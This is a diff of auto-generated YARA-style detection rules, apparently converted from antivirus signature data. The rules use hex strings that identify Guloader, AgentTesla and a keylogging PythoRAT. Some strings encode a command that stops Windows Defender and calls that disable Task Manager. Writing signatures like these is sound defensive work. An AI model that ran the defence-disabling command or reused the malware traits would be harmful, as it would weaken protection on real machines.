04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e } //25197 + $a_65_3 = {65 65 66 69 73 68 01 00 23 81 01 4e 65 6f 74 65 72 69 73 74 69 63 20 4d 61 73 74 61 64 65 6e 69 74 69 73 20 4e 61 74 69 6f 6e 61 6c 6c 79 01 00 19 81 01 47 65 6d 61 6b 6b 65 72 20 4e 6f 6e 61 76 6f 69 64 61 6e 63 65 2e 65 78 65 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //25197 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_52_2 & 1)*21320+(#a_65_3 & 1)*25197) >=3 } -rule _InfrastructureShared_12511{ +rule _InfrastructureShared_13330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 45 31 32 33 21 4d 54 42 00 01 00 18 81 01 47 75 64 65 62 69 6c 6c 65 64 65 72 20 42 61 72 67 61 69 6e 61 62 6c 65 01 00 22 81 01 48 6f 6d 6f 67 65 6e 69 7a 65 64 20 41 66 6c 73 65 72 6e 65 20 } //18467 - $a_62_1 = {65 62 65 65 66 69 73 68 01 00 23 81 01 4e 65 6f 74 65 72 69 73 74 69 63 20 4d 61 73 74 61 64 65 6e 69 74 69 73 20 4e 61 74 69 6f 6e 61 6c 6c 79 01 00 19 81 01 47 65 6d 61 6b 6b 65 72 20 4e 6f 6e 61 76 6f 69 64 61 6e 63 65 2e 65 78 65 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 } //30050 - $a_21_2 = {4d 54 42 00 01 00 10 81 01 4a 4c 5a 4d 41 44 65 63 6f 6d 70 53 6d 61 6c 6c 01 00 2d 81 01 6e 30 30 30 31 30 32 30 33 30 34 30 35 30 36 30 37 30 38 30 39 31 30 31 31 31 32 31 33 31 34 31 35 31 36 31 37 31 38 31 39 32 30 32 31 01 00 2c 81 01 54 68 } //20526 - $a_69_3 = {73 74 61 6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 20 49 6e 6e 6f 20 53 } //29545 stallation was built with Inno S + $a_62_1 = {65 62 65 65 66 69 73 68 01 00 23 81 01 4e 65 6f 74 65 72 69 73 74 69 63 20 4d 61 73 74 61 64 65 6e 69 74 69 73 20 4e 61 74 69 6f 6e 61 6c 6c 79 01 00 19 81 01 47 65 6d 61 6b 6b 65 72 20 4e 6f 6e 61 76 6f 69 64 61 6e 63 65 2e 65 78 65 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //30050 + $a_4c_2 = {53 30 31 21 4d 54 42 00 01 00 2c 81 01 74 72 61 6e 73 6d 75 74 61 74 69 6f 6e 20 73 6b 72 6d 6d 65 62 69 6c 6c 65 64 65 72 73 20 62 72 61 } //29285 + $a_69_3 = {72 65 6e 64 65 73 01 00 1c 81 01 62 72 6f 6f 64 6c 65 74 20 69 6e 64 73 6b 72 65 20 6c 61 75 6e 64 65 72 61 62 6c 65 01 00 15 81 01 6f 72 74 68 6f 70 68 6f 72 69 63 20 6c 65 61 64 73 74 6f 6e 65 01 00 1b 81 01 61 63 63 65 70 74 6b 72 69 74 65 72 69 75 6d 20 6b 6f 67 65 70 75 6e 6b 74 65 72 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 } //25710 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*30050+(#a_21_2 & 1)*20526+(#a_69_3 & 1)*29545) >=4 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*30050+(#a_4c_2 & 1)*29285+(#a_69_3 & 1)*25710) >=4 } -rule _InfrastructureShared_12512{ +rule _InfrastructureShared_13331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 53 30 31 21 4d 54 42 00 01 00 2c 81 01 74 72 61 6e 73 6d 75 74 61 74 69 6f 6e 20 73 6b 72 6d 6d 65 62 69 6c 6c 65 64 65 72 73 20 62 72 61 6e 64 73 69 6b 72 65 6e 64 65 73 01 00 1c 81 01 62 72 6f } //18467 + $a_65_1 = {20 69 6e 64 73 6b 72 65 20 6c 61 75 6e 64 65 72 61 62 6c 65 01 00 15 81 01 6f 72 74 68 6f 70 68 6f 72 69 63 20 6c 65 61 64 73 74 6f 6e 65 01 00 1b 81 01 61 63 63 65 70 74 6b 72 69 74 65 72 69 75 6d 20 6b 6f 67 65 70 75 6e 6b 74 65 72 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 } //25711 + $a_52_2 = {41 4d 54 42 00 01 00 10 81 01 4a 4c 5a 4d 41 44 65 63 6f 6d 70 53 6d 61 6c 6c 01 00 2d 81 01 6e 30 30 30 31 30 32 30 33 30 34 30 35 30 36 30 37 30 38 30 39 31 30 31 31 31 32 31 33 31 34 31 35 31 36 31 37 31 38 31 39 32 30 32 31 01 00 2c 81 } //11877 + $a_69_3 = {20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 20 49 6e 6e 6f 20 53 65 74 75 70 2e 01 00 13 81 01 45 70 73 69 6c 6f 6e 20 4d 65 6e 75 2e 65 78 65 20 20 20 00 00 78 b4 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 65 72 00 01 00 2b 80 01 55 49 44 6f } //21505 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25711+(#a_52_2 & 1)*11877+(#a_69_3 & 1)*21505) >=4 + +} +rule _InfrastructureShared_13332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -139544,7 +148839,7 @@ rule _InfrastructureShared_12512{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*14129+(#a_70_2 & 1)*29797+(#a_65_3 & 1)*11890) >=4 } -rule _InfrastructureShared_12513{ +rule _InfrastructureShared_13333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -139557,7 +148852,7 @@ rule _InfrastructureShared_12513{ ((#a_41_0 & 1)*20515+(#a_2f_1 & 1)*28515+(#a_65_2 & 1)*29249+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_12514{ +rule _InfrastructureShared_13334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -139570,7 +148865,7 @@ rule _InfrastructureShared_12514{ ((#a_4c_0 & 1)*21539+(#a_78_1 & 1)*11892+(#a_6e_2 & 1)*22330+(#a_6f_3 & 1)*8292) >=4 } -rule _InfrastructureShared_12515{ +rule _InfrastructureShared_13335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -139584,7 +148879,7 @@ rule _InfrastructureShared_12515{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*27491+(#a_4c_2 & 1)*21539+(#a_45_3 & 1)*-32722+(#a_74_4 & 1)*31090) >=4 } -rule _InfrastructureShared_12516{ +rule _InfrastructureShared_13336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -139599,7 +148894,7 @@ rule _InfrastructureShared_12516{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*-32722+(#a_74_2 & 1)*31090+(#a_34_3 & 1)*28265+(#a_01_4 & 1)*-28439+(#a_24_5 & 1)*961) >=4 } -rule _InfrastructureShared_12517{ +rule _InfrastructureShared_13337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -139610,7 +148905,7 @@ rule _InfrastructureShared_12517{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30452) >=5 } -rule _InfrastructureShared_12518{ +rule _InfrastructureShared_13338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -139623,7 +148918,7 @@ rule _InfrastructureShared_12518{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11877+(#a_65_2 & 1)*29806+(#a_5a_3 & 1)*5897) >=5 } -rule _InfrastructureShared_12519{ +rule _InfrastructureShared_13339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -139636,7 +148931,7 @@ rule _InfrastructureShared_12519{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*2577+(#a_54_2 & 1)*19525+(#a_69_3 & 1)*28527) >=5 } -rule _InfrastructureShared_12520{ +rule _InfrastructureShared_13340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -139649,7 +148944,7 @@ rule _InfrastructureShared_12520{ ((#a_4c_0 & 1)*21539+(#a_4d_1 & 1)*275+(#a_b4_2 & 1)*0+(#a_34_3 & 1)*25971) >=5 } -rule _InfrastructureShared_12521{ +rule _InfrastructureShared_13341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139661,7 +148956,7 @@ rule _InfrastructureShared_12521{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*16735+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_12522{ +rule _InfrastructureShared_13342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139675,7 +148970,7 @@ rule _InfrastructureShared_12522{ ((#a_46_0 & 1)*16675+(#a_98_1 & 1)*1538+(#a_43_2 & 1)*17486+(#a_02_3 & 1)*1+(#a_b4_4 & 1)*0) >=5 } -rule _InfrastructureShared_12523{ +rule _InfrastructureShared_13343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139689,7 +148984,7 @@ rule _InfrastructureShared_12523{ ((#a_77_0 & 1)*16675+(#a_3a_1 & 1)*29812+(#a_00_2 & 1)*66+(#a_6c_3 & 1)*385+(#a_42_4 & 1)*28530) >=5 } -rule _InfrastructureShared_12524{ +rule _InfrastructureShared_13344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139697,27 +148992,41 @@ rule _InfrastructureShared_12524{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 30 35 21 4d 54 42 00 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 22 81 01 53 6f 72 74 65 6f 51 75 69 6e 69 65 6c 61 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f } //18467 $a_65_1 = {01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 24 39 61 64 65 33 64 38 63 2d 39 37 39 34 2d 34 31 31 61 2d 61 33 31 34 2d 62 63 39 35 38 32 36 32 30 36 62 63 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 } //29301 $a_6e_2 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 54 41 56 38 38 00 01 00 14 81 01 77 65 6c 73 68 6e 65 73 73 20 61 66 76 61 73 6b 65 64 65 73 01 00 16 81 01 6c 69 67 65 6e 65 20 63 72 61 79 6f 6e 73 74 6f 6e 65 2e 65 78 65 01 00 29 81 01 72 65 6d 69 73 73 69 76 65 20 76 6f 6b 73 65 6e 75 64 } //27247 - $a_6e_3 = {6c 73 65 20 70 72 6f 6b 75 72 61 74 6f 72 65 72 6e 65 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 10 81 01 47 65 74 54 65 6d 70 46 69 6c 65 4e 61 6d 65 57 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 53 31 32 33 21 4d 54 42 00 01 00 08 81 01 75 64 65 } //24932 - $a_6b_4 = {01 00 0d 81 01 64 6f 6c 6c 61 72 6b 75 72 73 65 72 73 01 00 21 81 01 73 70 69 6e 64 73 76 69 6e 65 74 20 70 69 6c 6c 6f 77 73 6c 69 70 20 66 6f 72 64 72 76 65 64 65 73 01 00 0f 81 01 74 72 61 6e 73 66 69 67 75 72 65 72 65 64 65 01 00 2c 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 6c 79 20 62 61 72 6e 65 76 6f 67 } //30060 + $a_6e_3 = {6c 73 65 20 70 72 6f 6b 75 72 61 74 6f 72 65 72 6e 65 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 10 81 01 47 65 74 54 65 6d 70 46 69 6c 65 4e 61 6d 65 57 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 58 30 31 21 4d 54 42 00 01 00 1e 81 01 74 69 64 73 64 } //24932 + $a_6e_4 = {65 72 6e 65 20 61 66 76 6e 6e 69 6e 67 73 6b 75 72 65 6e 65 01 00 0e 81 01 6b 6f 6e 6f 6d 69 6d 6e 73 74 65 72 65 74 01 00 13 81 01 73 75 62 73 69 6d 69 61 6e 20 64 65 6b 61 6d 65 74 65 72 01 00 26 81 01 6b 6f 6e 63 65 73 73 69 6f 6e 73 68 61 76 65 72 65 73 20 66 72 69 73 74 65 6c 73 65 6e 73 20 61 66 74 61 67 65 } //27749 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6e_2 & 1)*27247+(#a_6e_3 & 1)*24932+(#a_6b_4 & 1)*30060) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6e_2 & 1)*27247+(#a_6e_3 & 1)*24932+(#a_6e_4 & 1)*27749) >=5 } -rule _InfrastructureShared_12525{ +rule _InfrastructureShared_13345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 54 41 56 38 38 00 01 00 14 81 01 77 65 6c 73 68 6e 65 73 73 20 61 66 76 61 73 6b 65 64 65 73 01 00 16 81 01 6c 69 67 65 6e 65 20 63 72 61 79 6f 6e 73 74 6f 6e 65 2e 65 78 65 01 } //18467 - $a_01_1 = {72 65 6d 69 73 73 69 76 65 20 76 6f 6b 73 65 6e 75 64 64 61 6e 6e 65 6c 73 65 20 70 72 6f 6b 75 72 61 74 6f 72 65 72 6e 65 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 10 81 01 47 65 74 54 65 6d 70 46 69 6c 65 4e 61 6d 65 57 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 53 31 32 33 21 4d 54 42 00 01 00 08 81 } //10496 - $a_65_2 = {75 6b 6b 65 01 00 0d 81 01 64 6f 6c 6c 61 72 6b 75 72 73 65 72 73 01 00 21 81 01 73 70 69 6e 64 73 76 69 6e 65 74 20 70 69 6c 6c 6f 77 73 6c 69 70 20 66 6f 72 64 72 76 65 64 65 73 01 00 0f 81 01 74 72 61 6e 73 66 69 67 75 72 65 72 65 64 65 01 00 2c 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 } //29953 - $a_62_3 = {72 6e 65 76 6f 67 6e 65 6e 65 73 20 6f 76 65 72 67 69 76 65 6c 73 65 6e 00 00 78 b4 00 00 05 00 } //31084 - $a_00_4 = {21 23 48 53 54 } //5 !#HST + $a_01_1 = {72 65 6d 69 73 73 69 76 65 20 76 6f 6b 73 65 6e 75 64 64 61 6e 6e 65 6c 73 65 20 70 72 6f 6b 75 72 61 74 6f 72 65 72 6e 65 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 10 81 01 47 65 74 54 65 6d 70 46 69 6c 65 4e 61 6d 65 57 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 58 30 31 21 4d 54 42 00 01 00 1e 81 01 74 } //10496 + $a_64_2 = {6c 69 6e 67 65 72 6e 65 20 61 66 76 6e 6e 69 6e 67 73 6b 75 72 65 6e 65 01 00 0e 81 01 6b 6f 6e 6f 6d 69 6d 6e 73 74 65 72 65 74 01 00 13 81 01 73 75 62 73 69 6d 69 61 6e 20 64 65 6b 61 6d 65 74 65 72 01 00 26 81 01 6b 6f 6e 63 65 73 73 69 6f 6e 73 68 61 76 65 72 65 73 20 66 72 69 73 74 65 6c 73 65 6e 73 20 61 66 74 61 67 65 73 01 00 0e 81 01 } //25705 + $a_72_3 = {6c 6c 69 6e 67 2e 65 78 65 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 53 31 32 33 21 4d 54 42 00 01 00 08 81 01 75 64 65 6c 75 6b 6b 65 01 00 0d 81 01 64 6f 6c 6c 61 72 6b 75 72 73 65 72 73 01 00 21 81 01 73 70 69 6e 64 73 76 69 6e 65 74 20 70 69 } //28787 + $a_77_4 = {6c 69 70 20 66 6f 72 64 72 76 65 64 65 73 01 00 0f 81 01 74 72 61 6e 73 66 69 67 75 72 65 72 65 64 65 01 00 2c 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 6c 79 20 62 61 72 6e 65 76 6f 67 6e 65 6e 65 73 20 6f 76 65 72 67 69 76 65 6c 73 65 6e 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //27756 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10496+(#a_65_2 & 1)*29953+(#a_62_3 & 1)*31084+(#a_00_4 & 1)*5) >=5 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10496+(#a_64_2 & 1)*25705+(#a_72_3 & 1)*28787+(#a_77_4 & 1)*27756) >=5 } -rule _InfrastructureShared_12526{ +rule _InfrastructureShared_13346{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 58 30 31 21 4d 54 42 00 01 00 1e 81 01 74 69 64 73 64 65 6c 69 6e 67 65 72 6e 65 20 61 66 76 6e 6e 69 6e 67 73 6b 75 72 65 6e 65 01 00 0e 81 01 6b 6f 6e 6f 6d 69 6d 6e 73 74 65 72 65 74 01 00 13 } //18467 + $a_75_1 = {73 69 6d 69 61 6e 20 64 65 6b 61 6d 65 74 65 72 01 00 26 81 01 6b 6f 6e 63 65 73 73 69 6f 6e 73 68 61 76 65 72 65 73 20 66 72 69 73 74 65 6c 73 65 6e 73 20 61 66 74 61 67 65 73 01 00 0e 81 01 73 70 69 72 61 6c 6c 69 6e 67 2e 65 78 65 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 } //385 + $a_33_2 = {4d 54 42 00 01 00 08 81 01 75 64 65 6c 75 6b 6b 65 01 00 0d 81 01 64 6f 6c 6c 61 72 6b 75 72 73 65 72 73 01 00 21 81 01 73 70 69 6e 64 73 76 69 6e 65 } //12627 + $a_69_3 = {6c 6f 77 73 6c 69 70 20 66 6f 72 64 72 76 65 64 65 73 01 00 0f 81 01 74 72 61 6e 73 66 69 67 75 72 65 72 65 64 65 01 00 2c 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 6c 79 20 62 61 72 6e 65 76 6f 67 6e 65 6e 65 73 20 6f 76 65 72 67 69 76 65 6c 73 65 6e 00 00 78 b4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //8308 + $a_6f_4 = {64 65 72 2e 4b 53 41 56 31 32 33 21 4d 54 42 00 01 00 17 81 01 70 6c 65 75 72 6f 73 61 75 72 75 73 20 6f 62 66 75 73 63 61 74 65 73 01 00 19 81 01 6d 61 6e 67 6c 65 72 20 62 72 6f 6e 63 68 69 61 20 62 65 64 72 65 76 6e 65 01 00 1e 81 01 70 72 69 76 61 74 62 69 6c 20 65 66 74 65 72 68 61 61 6e 64 73 6f 70 6c 79 73 6e 69 6e } //30023 + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*385+(#a_33_2 & 1)*12627+(#a_69_3 & 1)*8308+(#a_6f_4 & 1)*30023) >=5 + +} +rule _InfrastructureShared_13347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139731,7 +149040,7 @@ rule _InfrastructureShared_12526{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26988+(#a_56_2 & 1)*21323+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_12527{ +rule _InfrastructureShared_13348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139745,7 +149054,7 @@ rule _InfrastructureShared_12527{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28278+(#a_47_2 & 1)*12851+(#a_72_3 & 1)*25202+(#a_65_4 & 1)*25970) >=5 } -rule _InfrastructureShared_12528{ +rule _InfrastructureShared_13349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139759,7 +149068,7 @@ rule _InfrastructureShared_12528{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25963+(#a_32_2 & 1)*19546+(#a_65_3 & 1)*25971+(#a_6f_4 & 1)*30023) >=5 } -rule _InfrastructureShared_12529{ +rule _InfrastructureShared_13350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139773,7 +149082,7 @@ rule _InfrastructureShared_12529{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_21_2 & 1)*12849+(#a_73_3 & 1)*-32480+(#a_67_4 & 1)*26209) >=5 } -rule _InfrastructureShared_12530{ +rule _InfrastructureShared_13351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139787,7 +149096,7 @@ rule _InfrastructureShared_12530{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24934+(#a_6e_2 & 1)*29296+(#a_01_3 & 1)*-31603+(#a_e0_4 & 1)*851) >=5 } -rule _InfrastructureShared_12531{ +rule _InfrastructureShared_13352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -139801,7 +149110,7 @@ rule _InfrastructureShared_12531{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*5631+(#a_90_2 & 1)*30836+(#a_61_3 & 1)*25933+(#a_01_4 & 1)*26414) >=5 } -rule _InfrastructureShared_12532{ +rule _InfrastructureShared_13353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -139811,7 +149120,7 @@ rule _InfrastructureShared_12532{ ((#a_46_0 & 1)*21283) >=6 } -rule _InfrastructureShared_12533{ +rule _InfrastructureShared_13354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139826,7 +149135,7 @@ rule _InfrastructureShared_12533{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*12033+(#a_6e_2 & 1)*26433+(#a_6d_3 & 1)*29555+(#a_57_4 & 1)*21505+(#a_73_5 & 1)*29230) >=6 } -rule _InfrastructureShared_12534{ +rule _InfrastructureShared_13355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139841,7 +149150,7 @@ rule _InfrastructureShared_12534{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*24881+(#a_72_2 & 1)*26225+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_12535{ +rule _InfrastructureShared_13356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139856,7 +149165,7 @@ rule _InfrastructureShared_12535{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_4d_2 & 1)*13106+(#a_6d_3 & 1)*24950+(#a_4c_4 & 1)*8993+(#a_ff_5 & 1)*-200) >=6 } -rule _InfrastructureShared_12536{ +rule _InfrastructureShared_13357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -139871,7 +149180,7 @@ rule _InfrastructureShared_12536{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29811+(#a_61_2 & 1)*28530+(#a_65_3 & 1)*26994+(#a_63_4 & 1)*29264+(#a_01_5 & 1)*3328) >=6 } -rule _InfrastructureShared_12537{ +rule _InfrastructureShared_13358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -139885,7 +149194,7 @@ rule _InfrastructureShared_12537{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-29364+(#a_65_2 & 1)*28500+(#a_53_3 & 1)*14958+(#a_00_4 & 1)*32) >=7 } -rule _InfrastructureShared_12538{ +rule _InfrastructureShared_13359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -139900,7 +149209,7 @@ rule _InfrastructureShared_12538{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*120+(#a_72_2 & 1)*385+(#a_61_3 & 1)*29288+(#a_00_5 & 1)*32+(#a_69_6 & 1)*25963) >=7 } -rule _InfrastructureShared_12539{ +rule _InfrastructureShared_13360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -139908,39 +149217,28 @@ rule _InfrastructureShared_12539{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 41 53 21 4d 54 42 00 02 00 1c 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 02 00 0f 00 44 69 73 61 62 6c 65 44 65 66 65 6e } //16675 $a_02_1 = {00 2a 00 2f 00 63 00 20 00 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 02 00 25 01 24 63 66 64 38 66 62 65 33 2d 33 35 35 37 2d 34 38 65 35 2d 38 31 34 34 2d 62 36 38 31 30 62 65 38 63 34 35 34 00 00 78 b4 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e } //25956 $a_65_2 = {6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 50 79 74 68 6f 52 41 54 00 01 00 0a 01 54 4b 65 79 6c 6f 67 67 65 72 01 00 0d 01 75 46 69 6c 65 54 72 61 6e 73 66 65 72 01 00 0a 01 54 54 44 6f 77 6e 6c 6f 61 64 01 00 08 01 53 45 54 54 49 4e 47 53 01 00 0e 01 55 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 01 00 05 01 23 } //16991 - $a_23_3 = {00 0a 01 50 6c 75 67 69 6e 44 61 74 61 01 00 0f 01 4f 6e 50 6c 75 67 69 6e 4d 65 73 73 61 67 65 00 00 78 b4 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 } //9024 + $a_23_3 = {00 0a 01 50 6c 75 67 69 6e 44 61 74 61 01 00 0f 01 4f 6e 50 6c 75 67 69 6e 4d 65 73 73 61 67 65 00 00 78 b4 00 00 0a 00 0a 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 } //9024 condition: ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*25956+(#a_65_2 & 1)*16991+(#a_23_3 & 1)*9024) >=8 } -rule _InfrastructureShared_12540{ +rule _InfrastructureShared_13361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_46_0 = {59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 